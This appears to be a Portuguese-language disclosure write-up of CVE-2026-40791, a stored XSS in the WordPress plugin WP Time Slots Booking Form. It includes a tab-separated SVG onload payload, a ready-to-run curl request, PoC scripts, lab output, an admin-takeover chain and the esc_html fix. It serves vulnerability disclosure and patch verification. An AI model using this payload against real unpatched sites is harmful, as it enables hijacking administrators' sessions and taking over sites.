
CVE-2026-40791: XSS armazenado não autenticado no WP Time Slots Booking Form <= 1.2.46
Encontrei um XSS armazenado não autenticado no plugin WordPress WP Time Slots Booking Form. Uma submissão pública de reserva controla parte do valor armazenado do horário (slot). O plugin posteriormente imprime esse valor na página de Pedidos de Reserva do administrador sem escapá-lo.
O truque é simples: o plugin divide a string de compromisso submetida em espaços literais, mas o HTML trata uma tabulação como espaço em branco entre o nome de uma tag e um atributo. Então 8:<svg[TAB]onload=...> sobrevive ao parser do plugin como valor do slot e se torna marcação real quando o administrador abre a lista de reservas.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Afetado | <= 1.2.46 |
| Corrigido | 1.2.47 |
| Classe de bug | XSS armazenado não autenticado (CWE-79) |
| Impacto | Reserva pública -> JavaScript na sessão wp-admin do administrador |
| CVSS | 7.2 Alto (Wordfence), 7.1 (Patchstack) |
| Crédito | Daniel Wade |
O formulário público de reserva aceita este campo:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
O plugin o analisa assim:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Como o separador é uma tabulação, não um espaço literal, item_split[1] torna-se:
8:<svg onload=alert(document.cookie)>
Esse valor de slot é serializado na reserva. Quando um administrador abre Pedidos de Reserva, a versão 1.2.46 o imprime aqui:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Sem escapamento. O onload do SVG é executado na página de administração.
Isso não é apenas "posso ler o cookie do administrador?" Cookies de autenticação modernos do WordPress são normalmente HttpOnly, então document.cookie pode não expor o cookie real wordpress_sec_*. O importante é que o script está sendo executado em uma página autenticada de origem do administrador. Ele pode buscar páginas da mesma origem, ler nonces expostos e enviar requisições autenticadas de administrador a partir do navegador da vítima.
O fluxo vulnerável:
POST não autenticado
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> selo de reserva em Pedidos de Reserva
-> saída HTML sem escapamento
O parser assume que o horário é apenas texto. Não é. É entrada do atacante que posteriormente chega a um contexto HTML.
O sink vulnerável está em cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Esse phpcs:ignore WordPress.Security.EscapeOutput resume toda a história em uma linha. O aviso de escapamento foi suprimido onde dados de reserva controlados pelo atacante estavam sendo impressos.
A forma do payload:
8:<svg[TAB]onload=alert(document.cookie)>
Por que funciona:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" permanece um token
Parser HTML do navegador
<svg<TAB>onload=...> torna-se <svg onload=...>
O parser de slot obtém o valor que espera. O navegador obtém a tag que sabe como executar.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
curl manual:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Resultado esperado:
HTTP/1.1 302 Found
Em seguida, faça login como administrador e abra:
WP Time Slots Booking Form -> Booking Orders
O payload é executado quando a linha de reserva armazenada é renderizada.
Validei a cadeia completa em um laboratório WordPress local descartável:
PHP 8.3.31 para Windows
MariaDB 11.4.12 em 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA desabilitado no formulário 1
Página pública com [CP_TIME_SLOTS_BOOKING id="1"]
O PoC em PowerShell foi submetido limpo:
HTTP status: 302
O payload caiu em wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
O Chrome headless fez login como administrador, abriu Pedidos de Reserva e viu o marcador definido pelo manipulador SVG armazenado:
ADMIN_XSS_EXECUTED
Também testei as mesmas linhas maliciosas armazenadas após substituir o plugin pela versão 1.2.47. A página de administração renderizou o payload como texto escapado:
04/15/2026 8:<svg onload=...>
Nenhum marcador foi disparado:
PATCHED_NO_XSS_EXECUTION
Há também uma pequena verificação de integridade de renderização local:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Ela verifica as duas partes mecânicas sem uma instalação completa do WordPress:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
O atacante não precisa de uma conta. O atacante submete uma reserva pública e aguarda um administrador visualizar Pedidos de Reserva.
Assim que o administrador visualiza essa página, o JavaScript do atacante é executado na origem do WordPress do administrador. Um atacante real geralmente não pararia em alert(document.cookie). Ele usaria o navegador do administrador como o administrador:
buscar páginas de admin
-> ler nonces do HTML
-> submeter POSTs autenticados de admin
-> alterar estado do site
Dependendo das capacidades do administrador e da configuração do site, isso pode significar criar usuários, alterar configurações do plugin, modificar destinos de notificações, ler dados de reservas/clientes ou escalar para uma tomada completa do site através da funcionalidade do plugin/tema.
A versão 1.2.47 escapa o slot armazenado antes de construir o selo de administração:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Isso corrige o sink. Sanitizar mais cedo também seria razoável, mas o limite de segurança é o contexto de saída HTML na página de administração.
poc/
reproduce.ps1 # Submissão de reserva não autenticada em PowerShell
reproduce.sh # Submissão de reserva não autenticada em Bash/curl
lab/
render-check.html # Fixture mínima de renderização vulnerável
validate-render.ps1 # Verificação de integridade do parser + execução no navegador
README.md
| Data | Evento |
|---|---|
| 2026-03-24 | Reportado ao Patchstack |
| 2026-04-13 | Correção validada |
| 2026-04-23 | Wordfence publicou aviso |
| 2026-04-24 | Patchstack publicou aviso |
| 2026-04-30 | Wordfence última atualização |
Aviso: Este PoC é publicado para pesquisa defensiva e verificação após a disponibilidade da correção. Não o utilize contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.
CVE-2026-40791 - Corrigido no WP Time Slots Booking Form 1.2.47. Afetado: 1.2.46 e anteriores.